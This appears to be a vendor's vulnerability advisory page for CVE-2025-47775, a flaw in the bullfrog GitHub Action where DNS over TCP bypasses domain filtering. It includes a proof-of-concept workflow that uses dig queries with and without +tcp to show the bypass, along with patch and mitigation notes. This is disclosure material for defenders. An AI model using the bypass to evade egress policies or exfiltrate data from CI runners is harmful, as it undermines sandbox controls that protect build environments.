CVE-2025-47775 is a medium-severity (CVSS 6.2) CWE-201 vulnerability in bullfrogsec/bullfrog. A fix is available for bullfrogsec/bullfrog — see the affected versions and patch details below.
Bullfrog's DNS over TCP bypasses domain filtering
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-47775.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
bullfrogsec/bullfrogReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using tcp breaks blocking and allows DNS exfiltration.
PoC
name: test
on:
push:
branches:
- "*"
jobs:
testBullFrog:
runs-on: ubuntu-22.04
steps:
- name: Use google dns
run: |
sudo resolvectl dns eth0 1.1.1.1
resolvectl status
- name: Set up bullfrog to block everything
uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
with:
egress-policy: block
allowed-domains: |
*.github.com
- name: Test connectivity
run: |
echo testing udp allowed ..
dig api.github.com @1.1.1.1 || :
echo testing tcp allowed ..
dig api.github.com @1.1.1.1 +tcp || :
echo testing udp not allowed
dig api.google.com @1.1.1.1 || :
echo testing tcp not allowed
dig api.google.com @1.1.1.1 +tcp || :
Impact
sandbox bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦GitHub Actions | bullfrogsec/bullfrog | all versions | 0.8.4 |
Affected Products
bullfrogbullfrogsecDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bullfrogsec/bullfrog, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update bullfrogsec/bullfrog to 0.8.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-47775 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-47775 in your dependencies?
Find it across GitHub Actions, including transitive dependencies.